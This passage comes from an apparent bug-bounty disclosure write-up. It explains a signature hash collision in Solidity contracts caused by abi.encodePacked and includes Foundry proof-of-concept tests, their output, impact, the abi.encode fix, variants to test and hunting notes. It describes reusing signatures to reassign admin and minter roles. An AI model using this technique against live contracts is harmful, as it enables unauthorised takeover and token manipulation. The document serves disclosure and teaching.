The attacker's struct moves the n from RWRD into the name, sets the attacker as default admin, manager, minter and burner, and disables transfers. The signature from the legitimate struct is accepted because the hash is unchanged.

Step 6: Show that abi.encode prevents the collision

The last test contrasts packed and standard encoding on the same pair of strings:

Solidity
function testAbiEncodePreventCollision() public pure {
    string memory name1 = "Premium Club";
    string memory symbol1 = "PREM";
    string memory name2 = "Premium Clu";
    string memory symbol2 = "bPREM";

    bytes32 packed1 = keccak256(abi.encodePacked(name1, symbol1));
    bytes32 packed2 = keccak256(abi.encodePacked(name2, symbol2));
    assertEq(packed1, packed2);

    bytes32 encoded1 = keccak256(abi.encode(name1, symbol1));
    bytes32 encoded2 = keccak256(abi.encode(name2, symbol2));
    assertTrue(encoded1 != encoded2);
}

Line by line:

  1. The same two name and symbol pairs from Step 2 are set up.
  2. packed1 and packed2 use abi.encodePacked, and the test confirms they are equal. This is the bug.
  3. encoded1 and encoded2 use abi.encode instead, and the test confirms they are different. This is the fix.

With abi.encode, each dynamic value carries its offset and length, so the two metadata sets produce different hashes. The test is useful because it shows both the problem and the remedy side by side on identical inputs, which rules out the possibility that the fix only works because the inputs changed.

Step 7: Run the suite

The tests are run with:

Bash
forge test --match-contract HashCollisionPOC -vvv

Line by line:

  1. forge test runs the test suite.
  2. --match-contract HashCollisionPOC limits the run to the test contract with that name.
  3. -vvv raises the verbosity so the output includes more detail.

The observed output confirms all six tests pass, including both signature reuse tests:

Text
Ran 6 tests for test/SignatureVerifier.t.sol:HashCollisionPOC
[PASS] testAbiEncodePreventCollision() (gas: 3744)
[PASS] testAccessTokenCollision() (gas: 3171)
[PASS] testAccessTokenSignatureReuse() (gas: 48157)
[PASS] testBasicCollision() (gas: 1248)
[PASS] testCreditTokenCollision() (gas: 2750)
[PASS] testCreditTokenSignatureReuse() (gas: 41710)
Suite result: ok. 6 passed; 0 failed; 0 skipped; finished in 6.23ms (4.73ms CPU time)

Each [PASS] line is one test that succeeded. The gas figure is the computational cost of that test, which is not important for the bug but is shown by the runner. The final line summarises the run: six passed, none failed, none skipped.

Root cause

The message hash is built with abi.encodePacked over multiple dynamic strings. Packed encoding omits length prefixes and padding for dynamic types, so the field boundaries are not part of the hashed data. Any two metadata sets whose concatenated bytes are equal produce the same hash, and a signature over one is valid for the other. The weakness is in how that hash is constructed.

A useful way to hold this in mind: the lock is fine, but the key is cut from a description that two different doors share.

Impact

This is an authorisation bypass. An attacker who holds any valid backend signature for a metadata triplet can present a colliding triplet and have it accepted, altering metadata the signer intended to restrict. In the access token case the demonstrated changes include the payment token, transferability, total supply, mint prices and expiry. In the credit token case the demonstrated changes reassign the default admin, manager, minter and burner roles to the attacker and disable transfers. No on-chain privileges are required beyond possessing a valid signature for some triplet, because the attack only manipulates field boundaries while preserving the bytes.

Fix

The report recommends replacing abi.encodePacked() with abi.encode() in all signature verification functions, citing the Solidity documentation: "Unless there is a compelling reason, abi.encode should be preferred." The suggested fix is to use abi.encode(...) instead of abi.encodePacked(...) when constructing the message hash, so dynamic fields are length-prefixed and cannot be concatenated ambiguously. The proof of concept includes a test showing that abi.encode produces distinct hashes for the colliding inputs.

Variants to test

  1. Other signature schemes over packed metadata: look for keccak256(abi.encodePacked(...)) followed by ecrecover, isValidSignatureNow or a similar check, where two or more dynamic types are adjacent. A positive result is two different structs that hash to the same value and both pass verification.
  2. Mixed dynamic and fixed-width fields: check whether a dynamic string sits directly before a fixed-width integer or address. Shifting bytes between a string and a following fixed-width value can also collide if the total length is preserved. A positive result is a signature valid for a struct with a different numeric field.
  3. Arrays of dynamic types: packed encoding of string[] or bytes[] concatenates elements without separators. A positive result is two arrays with different element boundaries that hash identically.
  4. Role or permission structs: target verification functions that sign admin, minter or manager addresses alongside strings. A positive result is a colliding struct that reassigns a role to an attacker-controlled address.
  5. Cross-function reuse: check whether two different verification functions build hashes from the same packed fields. A positive result is a signature issued for one function accepted by another.

Hunting notes

This class of bug hides in signature verification helpers that assemble a message from user-supplied metadata. During recon, grep the contracts for abi.encodePacked near keccak256, ecrecover or isValidSignatureNow, and pay particular attention when two or more string or bytes values are packed next to each other. The signal is a hash built from fields whose boundaries matter to the signer but are not encoded.

To show impact, demonstrate a concrete collision on realistic values, then show that a signature issued for the legitimate struct is accepted for a struct with meaningfully different fields, such as changed prices, supply, transferability or role assignments. Running the tests with Foundry and showing the passing output gives the program a reproducible result. The report also contrasts abi.encodePacked with abi.encode on the same inputs.

Glossary

  • abi.encode: a Solidity function that turns values into bytes with length information and padding, so each value is clearly separated.
  • abi.encodePacked: a Solidity function that turns values into bytes by gluing them together with no separators or length markers.
  • Access token: in this report, a token whose metadata is checked by checkAccessTokenInfo.
  • Authorisation bypass: a flaw that lets someone do something they were not approved to do.
  • Backend: the company's off-chain server that decides what is allowed and issues signatures.
  • Blockchain: a shared, replicated record of transactions and programs.
  • Chain ID: a number identifying which blockchain a contract is running on.
  • Credit token: in this report, a token whose metadata is checked by checkCreditTokenInfo.
  • ecrecover: a Solidity function that recovers the address that produced a signature.
  • ERC1155: a common token standard that can hold many token types in one contract.
  • Foundry: a toolkit for building and testing smart contracts locally; forge is its test runner.
  • Gas: the computational cost of running code on the blockchain.
  • Hash: a fixed-length fingerprint of some data; the same input always gives the same output.
  • Immunefi: a bug bounty platform where security researchers report vulnerabilities.
  • isValidSignatureNow: a function that checks whether a signature is valid for a given signer and hash.
  • keccak256: the hash function used in this report.
  • Metadata: descriptive data about a token, such as its name, symbol and URI.
  • NFT: a unique digital item recorded on a blockchain.
  • Private key: a secret value that lets its holder create signatures.
  • Public key / address: the public counterpart of a private key, used to check signatures and identify accounts.
  • Signature: a cryptographic stamp proving that a particular private key approved particular data.
  • Smart contract: a program that lives on a blockchain and runs automatically.
  • Solidity: the programming language used to write smart contracts.
  • Struct: a grouped set of named fields in Solidity.
  • URI: a link or identifier pointing to where something (such as artwork or metadata) can be found.
  • vm.prank: a Foundry helper that makes the next call appear to come from a chosen address.
  • vm.sign: a Foundry helper that produces a signature using a given private key.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.